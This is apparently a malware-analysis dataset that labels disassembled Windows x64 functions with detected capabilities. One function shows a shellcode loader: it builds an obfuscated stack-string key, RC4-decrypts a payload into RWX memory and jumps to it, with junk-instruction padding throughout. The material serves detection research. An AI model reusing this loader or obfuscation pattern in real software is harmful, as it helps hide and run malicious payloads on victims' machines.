joyce8/EMBER2024-capa huggingface dataset:
Function at 0x44fde0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x10
mov qword [rsp + 0x20], rax
test rbx, rbx
jbe 0x44ff57
movzx edx, byte [rax]
test edx, edx
jne 0x44fe14
nop dword [rax]
test r8b, r8b
jne 0x44fe14
xor eax, eax
xor ebx, ebx
mov rcx, rbx
xor edi, edi
add rsp, 0x10
pop rbp
ret
bt edx, 7
jae 0x44fe27
xor edx, edx
xor r8d, r8d
xor r9d, r9d
jmp 0x44ff17
mov r8d, 1
mov r9d, edx
and edx, 1
neg edx
shr r9d, 1
xor edx, r9d
add dword [rsi], edx
nop dword [rax]
cmp rbx, r8
jb 0x44ff05
sub rbx, r8
sub rcx, r8
mov rdx, rcx
neg rdx
sar rdx, 0x3f
and r8, rdx
lea rdx, [rax + r8]
test rbx, rbx
jbe 0x44fef7
movzx esi, byte [rax + r8]
bt esi, 7
jae 0x44fe7d
xor eax, eax
xor esi, esi
xor r8d, r8d
jmp 0x44fec0
mov eax, 1
cmp rax, rbx
ja 0x44feab
add qword [rdi], rsi
sub rcx, rax
sub rbx, rax
mov rsi, rcx
neg rsi
sar rsi, 0x3f
and rax, rsi
add rax, rdx
mov edi, 1
add rsp, 0x10
pop rbp
ret
mov rcx, rbx
call fcn.00462800
lea r8d, [rcx + 7]
mov rcx, r11
mov eax, r12d
nop dword [rax]
cmp rax, rbx
jae 0x44feef
movzx r9d, byte [rax + rdx]
mov r10d, r9d
and r9d, 0x7f
mov r11, rcx
mov ecx, r8d
shl r9d, cl
lea r12d, [rax + 1]
or esi, r9d
test r10b, 0x80
jne 0x44feb3
mov rcx, r11
mov eax, r12d
jmp 0x44fe82
mov rcx, rbx
call fcn.00462740
xor eax, eax
mov rcx, rax
nop dword [rax]
call fcn.00462740
mov eax, r8d
mov rcx, rbx
call fcn.00462800
lea r9d, [rcx + 7]
mov rcx, r12
cmp rbx, rdx
jbe 0x44ff4d
movzx r10d, byte [rdx + rax]
mov r11d, r10d
and r10d, 0x7f
mov r12, rcx
mov ecx, r9d
shl r10d, cl
inc edx
or r8d, r10d
test r11b, 0x80
jne 0x44ff10
mov rcx, r12
mov r9d, edx
mov edx, r8d
mov r8d, r9d
jmp 0x44fe2d
mov eax, edx
mov rcx, rbx
call fcn.00462740
xor eax, eax
mov rcx, rax
nop dword [rax]
call fcn.00462740
nop
int3

Function at 0x455b20
Capabilities:
Access peb ldr_data

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x455bd5
push rbp
mov rbp, rsp
sub rsp, 0x48
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x68], rcx
mov qword [rsp + 0x70], rdi
test byte [rax], al
lea rdx, [rax + 0x10]
mov rsi, qword [rsp + 0x68]
mov rcx, rdi
mov rax, rdx
mov rbx, rsi
call fcn.004537a0
nop
test bl, bl
je 0x455bcf
mov qword [rsp + 0x18], rax
movups xmmword [rsp + 0x20], xmm15
movups xmmword [rsp + 0x28], xmm15
movups xmmword [rsp + 0x38], xmm15
lea rcx, [0x00455c20]
mov qword [rsp + 0x20], rcx
mov rcx, qword [rsp + 0x58]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rsp + 0x60]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x38], rax
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x40], rcx
lea rcx, [rsp + 0x20]
mov qword [rsp], rcx
call fcn.00460340
xorps xmm15, xmm15
mov r14, qword [0x005c24f0]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov rax, qword [rsp + 0x18]
add rsp, 0x48
pop rbp
ret
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rcx
mov qword [rsp + 0x20], rdi
call fcn.00460460
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
mov rcx, qword [rsp + 0x18]
mov rdi, qword [rsp + 0x20]
jmp fcn.00455b20
Function at 0x458b40
Capabilities:
Access peb ldr_data

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x458bef
push rbp
mov rbp, rsp
sub rsp, 0x58
mov qword [rsp + 0x70], rbx
lea rdx, [rsp + 0x68]
mov qword [rsp + 8], 0
movups xmmword [rsp + 0x10], xmm15
movups xmmword [rsp + 0x18], xmm15
movups xmmword [rsp + 0x28], xmm15
movups xmmword [rsp + 0x38], xmm15
movups xmmword [rsp + 0x48], xmm15
lea rsi, [0x00458c40]
mov qword [rsp + 0x10], rsi
mov rsi, qword [rsp + 0x60]
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdx
mov rdx, r14
mov qword [rsp + 0x28], rdx
lea rdx, [rsp + 8]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x48], rcx
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x40], rbx
lea rax, [rsp + 0x10]
mov qword [rsp], rax
call fcn.00460340
xorps xmm15, xmm15
mov r14, qword [0x005c24f0]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov rax, qword [rsp + 8]
add rsp, 0x58
pop rbp
ret
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rcx
mov qword [rsp + 0x20], rdi
call fcn.00460460
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
mov rcx, qword [rsp + 0x18]
mov rdi, qword [rsp + 0x20]
nop dword [rax]
jmp fcn.00458b40
Function at 0x462260
Capabilities:
Encrypt data using aes via x86 extensions

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x403d43
push rbp
mov rbp, rsp
sub rsp, 0x18
mov rdx, qword [rax]
mov rcx, qword [rax + 8]
mov rax, rdx
call fcn.00409b00
add rsp, 0x18
pop rbp
ret
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
call fcn.00460460
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
jmp 0x403d20
cmp byte [0x005c22e9], 0
je 0x462275
mov rcx, qword [rax + 8]
mov rax, qword [rax]
jmp 0x45f4a0
jmp 0x403d20

Function at 0x462280
Capabilities:
Encrypt data using aes via x86 extensions

Disassembly:
nop
mov eax, dword [rax]
movabs rcx, 0xe7037ed1a0b428db
xor rcx, rax
xor rax, rbx
xor rax, qword [0x005c25c0]
movabs rdx, 0xa0761d6478bd642f
xor rdx, rax
mov rax, rcx
mul rdx
xor rax, rdx
mov rcx, rax
movabs rax, 0x1d8e4e27c47d124b
mul rcx
xor rax, rdx
nop
nop
ret
cmp byte [0x005c22e9], 0
je 0x4622b5
movq xmm0, rbx
pinsrd xmm0, dword [rax], 2
aesenc xmm0, xmmword [0x005c28e0]
aesenc xmm0, xmmword [0x005c28f0]
aesenc xmm0, xmmword [0x005c2900]
movq rax, xmm0
ret
jmp 0x409d20

Function at 0x4622c0
Capabilities:
Encrypt data using aes via x86 extensions

Disassembly:
nop
mov rax, qword [rax]
movabs rcx, 0xe7037ed1a0b428db
xor rcx, rax
xor rax, rbx
xor rax, qword [0x005c25c0]
movabs rdx, 0xa0761d6478bd642f
xor rdx, rax
mov rax, rcx
mul rdx
xor rax, rdx
mov rcx, rax
movabs rax, 0x1d8e4e27c47d1247
mul rcx
xor rax, rdx
nop
nop
ret
cmp byte [0x005c22e9], 0
je 0x4622f6
movq xmm0, rbx
pinsrq xmm0, qword [rax], 1
aesenc xmm0, xmmword [0x005c28e0]
aesenc xmm0, xmmword [0x005c28f0]
aesenc xmm0, xmmword [0x005c2900]
movq rax, xmm0
ret
jmp 0x409d80

Function at 0x464080
Capabilities:
Allocate thread local storage

Disassembly:
push rbp
mov rbp, rsp
mov rax, rsp
and rsp, 0xfffffffffffffff0
sub rsp, 0x30
mov qword [rsp + 0x20], rax
mov rax, qword [sym.imp.kernel32.dll_TlsAlloc]
call rax
mov rsp, qword [rsp + 0x20]
mov rcx, rax
cmp rcx, 0x40
jb 0x4640b4
mov rcx, 0x28
jmp 0x4640bf
shl rcx, 3
add rcx, 0x1480
mov qword [0x005c24f0], rcx
pop rbp
ret
Function at 0x46d4e0
Capabilities:
Access peb ldr_data

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x46d5aa
push rbp
mov rbp, rsp
sub rsp, 0x48
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], rbx
mov qword [rsp], rax
mov qword [rsp + 8], rbx
mov byte [rsp + 0x10], 0
call fcn.004032e0
xorps xmm15, xmm15
mov r14, qword [0x005c24f0]
mov r14, qword gs:[r14]
mov r14, qword [r14]
cmp qword [rsp + 0x18], 0xffffffffffffffff
jne 0x46d58f
mov rcx, qword [rsp + 0x60]
lea rdx, [rcx + 1]
mov qword [rsp + 0x40], rdx
lea rax, [0x00490be0]
xor ebx, ebx
mov rcx, rdx
call fcn.00448f40
mov rbx, qword [rsp + 0x60]
mov rcx, rax
xor edi, edi
mov rsi, qword [rsp + 0x40]
mov rax, qword [rsp + 0x58]
nop dword [rax]
call fcn.0046d840
inc rbx
cmp rcx, rbx
jae 0x46d57e
mov edi, 1
lea rsi, [0x00490be0]
call fcn.00449020
mov word [rax + rbx*2 - 2], 0
xor edi, edi
xor esi, esi
add rsp, 0x48
pop rbp
ret
xor eax, eax
xor ebx, ebx
mov rcx, rbx
lea rdi, [0x004c7f98]
lea rsi, [0x004c7970]
add rsp, 0x48
pop rbp
ret
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
call fcn.00460460
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
jmp fcn.0046d4e0
Function at 0x141017058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.1410171df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x141017089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14101706f
add dl, dl
jne 0x141017096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1410170f6
xor eax, eax
add dl, dl
jne 0x1410170a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1410171ad
add dl, dl
jne 0x1410170b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1410170c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1410170d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1410170dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x1410170ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x14101707e
mov eax, 1
add dl, dl
jne 0x141017106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x141017113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1410170fb
sub eax, ebx
mov ebx, 1
jne 0x14101714c
mov ecx, 1
add dl, dl
jne 0x14101712e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x14101713b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x141017123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14101707e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x141017168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x141017175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14101715d
cmp eax, 0x7d00
jae 0x14101719b
cmp eax, 0x500
jb 0x141017196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14101707e
cmp eax, 0x7f
ja 0x14101719e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14101707e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x1410171d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x14101707e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x140001000
Capabilities:
Encrypt data using rc4 via systemfunction032

Disassembly:
mov dword [rsp + 0x20], r9d
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
add rsp, 0xffffffffffffffa8
mov dword [rsp + 0x20], 0
pushf
add r8, 0
popf
mov eax, dword [rsp + 0x78]
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x78]
mov dword [rsp + 0x44], eax
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x48], rax
mov eax, dword [rsp + 0x70]
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x70]
mov dword [rsp + 0x34], eax
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x38], rax
lea rcx, str.Advapi32
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, str.SystemFunction032
pushf
nop
pushf
sar rsi, 0
popf
popf
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x28], rax
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x40]
call qword [rsp + 0x28]
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x20], 0
je 0x1400010bb
mov edx, dword [rsp + 0x20]
lea rcx, str.____SystemFunction032_FAILED_With_Error:_0x_0.8X__n
call fcn.1400012f7
mov eax, 0
jmp 0x1400010c0
mov eax, 1
sub rsp, 0xffffffffffffffa8
ret

Function at 0x1400010dd
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Execute shellcode via indirect call

Disassembly:
add rsp, 0xffffffffffffffa8
mov rax, qword [0x1400392a8]
xor rax, rsp
pushf
add r10, 0
popf
mov qword [rsp + 0x40], rax
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x1ff
mov ecx, 0
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x28], rax
pushf
sar r13, 0
pushf
sub rax, 0
popf
popf
cmp qword [rsp + 0x28], 0
jne 0x140001154
lea rcx, str.Error:_Failed_to_allocate_memory_for_exec_mem_n
pushf
nop
popf
call fcn.1400012f7
mov eax, 1
jmp 0x14000122e
mov byte [rsp + 0x30], 0x75
mov byte [rsp + 0x31], 0x6e
mov byte [rsp + 0x32], 0x62
mov byte [rsp + 0x33], 0x72
mov byte [rsp + 0x34], 0x65
mov byte [rsp + 0x35], 0x61
pushf
sar r10, 0
popf
mov byte [rsp + 0x36], 0x6b
mov byte [rsp + 0x37], 0x61
mov byte [rsp + 0x38], 0x62
mov byte [rsp + 0x39], 0x6c
mov byte [rsp + 0x3a], 0x65
mov byte [rsp + 0x3b], 0x5f
mov byte [rsp + 0x3c], 0x6b
mov byte [rsp + 0x3d], 0x65
mov byte [rsp + 0x3e], 0x79
mov r9d, 0x1ff
mov r8d, 0x10
lea rdx, section..data
lea rcx, [rsp + 0x30]
call section..text
mov r8d, 0x1ff
lea rdx, section..data
mov rcx, qword [rsp + 0x28]
call fcn.1400024ab
mov dword [rsp + 0x20], 0
jmp 0x1400011f6
mov eax, dword [rsp + 0x20]
add eax, 1
mov dword [rsp + 0x20], eax
pushf
push rsp
pop rsp
popf
movsxd rax, dword [rsp + 0x20]
cmp rax, 0x1ff
jae 0x140001221
movsxd rax, dword [rsp + 0x20]
mov rcx, qword [rsp + 0x28]
movzx eax, byte [rcx + rax]
mov edx, eax
lea rcx, str.0x_02x_
call fcn.1400012f7
jmp 0x1400011e5
call qword [rsp + 0x28]
jmp 0x140001229
mov eax, 0
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.140001426
sub rsp, 0xffffffffffffffa8
ret
Function at 0x140001732
Capabilities:
Terminate process

Disassembly:
push rbx
add rsp, 0xffffffffffffffe0
mov rbx, rcx
pushf
push r15
pop r15
popf
mov ecx, 0
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0xc0000409
sub rsp, 0xffffffffffffffe0
pushf
sub r15, 0
popf
pop rbx
jmp qword [sym.imp.KERNEL32.dll_TerminateProcess]

Function at 0x140001bdb
Capabilities:
Parse pe header

Disassembly:
add rsp, 0xffffffffffffffe8
mov r8, rcx
mov eax, 0x5a4d
cmp word [0x140000000], ax
jne 0x140001c92
movsxd rcx, dword [0x14000003c]
lea rdx, [0x140000000]
add rcx, rdx
cmp dword [rcx], 0x4550
jne 0x140001c92
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001c92
sub r8, rdx
movzx edx, word [rcx + 0x14]
sub rdx, 0xffffffffffffffe8
add rdx, rcx
movzx eax, word [rcx + 6]
pushf
jmp 0x140001c32
popf
lea rcx, [rax + rax*4]
lea r9, [rdx + rcx*8]
mov qword [rsp], rdx
cmp rdx, r9
je 0x140001c64
mov ecx, dword [rdx + 0xc]
cmp r8, rcx
jb 0x140001c5e
mov eax, dword [rdx + 8]
add eax, ecx
cmp r8, rax
pushf
or r15, r15
popf
jb 0x140001c69
sub rdx, 0xffffffffffffffd8
jmp 0x140001c3c
mov edx, 0
test rdx, rdx
jne 0x140001c7a
pushf
rcl rsp, 0
popf
mov al, 0
jmp 0x140001c98
cmp dword [rdx + 0x24], 0
jge 0x140001c8e
mov al, 0
jmp 0x140001c98
mov al, 1
jmp 0x140001c98
mov al, 0
jmp 0x140001c98
sub rsp, 0xffffffffffffffe8
ret

Function at 0x140002087
Capabilities:
Parse pe header

Disassembly:
add rsp, 0xffffffffffffffd8
mov ecx, 0
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400020f1
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400020f1
movsxd rcx, dword [rax + 0x3c]
pushf
push rdi
pop rdi
popf
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400020f1
mov eax, 0x20b
pushf
rcr r8, 0
popf
cmp word [rcx + 0x18], ax
jne 0x1400020f1
cmp dword [rcx + 0x84], 0xe
jbe 0x1400020f1
pushf
push r14
pop r14
pushf
lea r15, [r15]
popf
popf
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400020f3
mov al, 0
sub rsp, 0xffffffffffffffd8
ret
Function at 0x140003a76
Capabilities:
Allocate thread local storage

Disassembly:
push rbx
add rsp, 0xffffffffffffffe0
pushf
mov r13, r13
popf
mov rbx, rcx
lea r9, [0x14002f200]
mov ecx, 0
lea r8, [0x14002f1f8]
lea rdx, [0x14002f200]
call fcn.1400038ca
test rax, rax
je 0x140003ac3
mov rcx, rbx
sub rsp, 0xffffffffffffffe0
pop rbx
jmp qword [0x14002e278]
sub rsp, 0xffffffffffffffe0
pushf
sub rbp, 0
popf
pop rbx
jmp qword [sym.imp.KERNEL32.dll_TlsAlloc]

Function at 0x140003b7e
Capabilities:
Set thread local storage value

Disassembly:
mov qword [rsp + 8], rbx
push rdi
pushf
sar r9, 0
pushf
shl r14, 0
popf
popf
add rsp, 0xffffffffffffffe0
mov rbx, rdx
lea r9, [0x14002f240]
mov edi, ecx
lea rdx, [0x14002f240]
pushf
sar rcx, 0
popf
mov ecx, 3
lea r8, [0x14002f238]
call fcn.1400038ca
mov rdx, rbx
mov ecx, edi
test rax, rax
je 0x140003bde
call qword [0x14002e278]
jmp 0x140003be4
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
mov rbx, qword [rsp + 0x30]
sub rsp, 0xffffffffffffffe0
pop rdi
ret

Function at 0x14000a193
Capabilities:
Terminate process

Disassembly:
push rbx
add rsp, 0xffffffffffffffe0
pushf
and rcx, rcx
popf
mov ebx, ecx
call fcn.14000a1e2
test al, al
je 0x14000a1bc
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, ebx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov ecx, ebx
call fcn.14000a20e
pushf
sar r15, 0
pushf
jmp 0x14000a1cd
popf
popf
mov ecx, ebx
call qword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x14000a2c6
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
add rsp, 0xffffffffffffffb0
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
pushf
push rdx
pop rdx
popf
mov ebx, ecx
pushf
and r13, r13
popf
test r8d, r8d
jne 0x14000a114
mov ecx, 0
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000a114
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000a114
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000a114
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000a114
cmp dword [rcx + 0x84], 0xe
jbe 0x14000a114
cmp dword [rcx + 0xf8], 0
je 0x14000a114
mov ecx, ebx
call fcn.14000a20e
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
pushf
shl r8, 0
popf
lea rax, [rbp + 0x28]
pushf
jmp 0x14000a138
popf
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
pushf
sub r12, 0
popf
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.140009f42
nop
cmp dword [rbp + 0x20], 0
pushf
shl r9, 0
popf
je 0x14000a188
mov rbx, qword [rsp + 0x60]
sub rsp, 0xffffffffffffffb0
pushf
xor r15, 0
popf
pop rbp
ret
mov ecx, ebx
call fcn.14000a193
int3
mov edx, 0
mov ecx, 0
lea r8d, [rdx + 1]
jmp 0x14000a095

Function at 0x14000a2dc
Capabilities:
Parse pe header

Disassembly:
mov r8d, 0
lea edx, [r8 + 2]
pushf
rcl rdx, 0
popf
jmp 0x14000a095

Function at 0x14000a350
Capabilities:
Parse pe header

Disassembly:
mov r8d, 0
mov edx, 0
jmp 0x14000a095
Function at 0x14000b397
Capabilities:
Terminate process

Disassembly:
add rsp, 0xffffffffffffffd8
mov ecx, 0x17
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
test eax, eax
je 0x14000b3b1
mov ecx, 5
int 0x29
mov r8d, 1
mov edx, 0xc0000417
lea ecx, [r8 + 1]
call fcn.14000b00b
pushf
mov rax, rax
popf
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0xc0000417
sub rsp, 0xffffffffffffffd8
jmp qword [sym.imp.KERNEL32.dll_TerminateProcess]
Function at 0x1400100ad
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
pushf
jmp 0x1400100b6
popf
push rdi
add rsp, 0xffffffffffffffe0
mov rbx, rcx
pushf
sar r9, 0
popf
mov edx, 0
sub rcx, 0xffffffffffffffe8
mov r8d, 0x101
call fcn.140003156
mov edx, 0
pushf
jmp 0x1400100e5
popf
lea rdi, [rbx + 0xc]
movzx eax, dx
lea r9, [0x1400395c0]
mov qword [rbx + 4], rdx
mov r8, rbx
mov qword [rbx + 0x220], rdx
lea ecx, [rdx + 6]
pushf
rcl rax, 0
popf
rep stosw word [rdi], ax
lea rax, [0x1400395d8]
mov edi, edx
pushf
shl r13, 0
popf
sub r8, rax
lea rcx, [rdi + r9]
add rdi, 1
pushf
xor rsp, 0
popf
mov al, byte [rcx + 0x18]
mov byte [r8 + rcx + 0x30], al
cmp rdi, 0x101
jl 0x140010125
lea rax, [0x1400396d9]
sub rbx, rax
lea rcx, [rdx + r9]
add rdx, 1
mov al, byte [rcx + 0x119]
pushf
and r12, r12
popf
mov byte [rbx + rcx + 0x232], al
cmp rdx, 0x100
jl 0x140010150
mov rbx, qword [rsp + 0x30]
sub rsp, 0xffffffffffffffe0
pop rdi
ret

Function at 0x140010eb4
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
add rsp, 0xffffffffffffffc0
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, 0
mov rbx, rax
test rax, rax
jne 0x140010efa
pushf
shr rax, 0
popf
mov eax, 0
jmp 0x14001104c
mov rbp, rbx
cmp word [rax], si
je 0x140010f26
or rax, 0xffffffffffffffff
add rax, 1
cmp word [rbp + rax*2], si
pushf
jmp 0x140010f13
popf
jne 0x140010f06
lea rbp, [rbp + rax*2]
sub rbp, 0xfffffffffffffffe
cmp word [rbp], si
jne 0x140010f02
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
sub rbp, 0xfffffffffffffffe
sar rbp, 1
mov r8, rbx
pushf
jmp 0x140010f41
popf
mov r9d, ebp
mov dword [rsp + 0x28], esi
mov edx, 0
pushf
dec r8
inc r8
pushf
or r11, r11
pushf
shr rsi, 0
pushf
shr r15, 0
popf
popf
popf
popf
mov qword [rsp + 0x20], rsi
pushf
sub r11, 0
pushf
lea rsi, [rsi]
pushf
shl r15, 0
popf
popf
popf
mov ecx, 0
call fcn.140010d85
movsxd r14, eax
test eax, eax
jne 0x140010fab
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x140010ee8
mov rcx, r14
call fcn.14000c5cb
pushf
rcr rsi, 0
popf
mov rdi, rax
test rax, rax
jne 0x140010fdd
mov ecx, 0
call fcn.14000b5cd
pushf
shr r11, 0
pushf
jmp 0x140010fd7
popf
popf
jmp 0x140010f9d
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
pushf
push rdi
pop rdi
popf
mov dword [rsp + 0x28], r14d
pushf
mov rsi, rsi
popf
mov edx, 0
mov ecx, 0
mov qword [rsp + 0x20], rdi
pushf
dec rsp
inc rsp
popf
call fcn.140010d85
test eax, eax
jne 0x140011033
mov rcx, rdi
pushf
shr r13, 0
popf
call fcn.14000b5cd
jmp 0x140011040
mov ecx, 0
call fcn.14000b5cd
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
pushf
and r13, r13
popf
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
sub rsp, 0xffffffffffffffc0
pop r14
ret
Function at 0x1400136f1
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rbp
pushf
sar rdx, 0
popf
push rsi
push rdi
push r14
mov eax, 0x1450
call fcn.14001afe2
sub rsp, rax
mov rax, qword [0x1400392a8]
xor rax, rsp
mov qword [rsp + 0x1440], rax
movsxd r10, edx
mov rdi, rcx
mov rax, r10
mov ebp, r9d
sar rax, 6
lea rcx, [0x14003a820]
and r10d, 0x3f
add rbp, r8
mov rsi, r8
mov rax, qword [rcx + rax*8]
lea rdx, [r10 + r10*8]
mov r14, qword [rax + rdx*8 + 0x28]
pushf
push rbp
pop rbp
popf
mov eax, 0
mov qword [rdi], rax
mov dword [rdi + 8], eax
cmp r8, rbp
jae 0x1400137fd
lea rbx, [rsp + 0x40]
cmp rsi, rbp
jae 0x1400137a4
mov al, byte [rsi]
pushf
nop
popf
add rsi, 1
cmp al, 0xa
jne 0x140013791
inc dword [rdi + 8]
mov byte [rbx], 0xd
add rbx, 1
mov byte [rbx], al
add rbx, 1
lea rax, [rsp + 0x143f]
cmp rbx, rax
jb 0x140013773
and qword [rsp + 0x20], 0
pushf
rcl r10, 0
popf
lea rax, [rsp + 0x40]
sub ebx, eax
lea r9, [rsp + 0x30]
mov r8d, ebx
lea rdx, [rsp + 0x40]
mov rcx, r14
pushf
sar rdi, 0
popf
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x1400137ed
mov eax, dword [rsp + 0x30]
add dword [rdi + 4], eax
cmp eax, ebx
jb 0x1400137fd
cmp rsi, rbp
jb 0x14001376e
jmp 0x1400137fd
call qword [sym.imp.KERNEL32.dll_GetLastError]
pushf
rcl r9, 0
popf
mov dword [rdi], eax
mov rax, rdi
mov rcx, qword [rsp + 0x1440]
xor rcx, rsp
call fcn.140001426
lea r11, [rsp + 0x1450]
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x30]
mov rsp, r11
pop r14
pop rdi
pop rsi
ret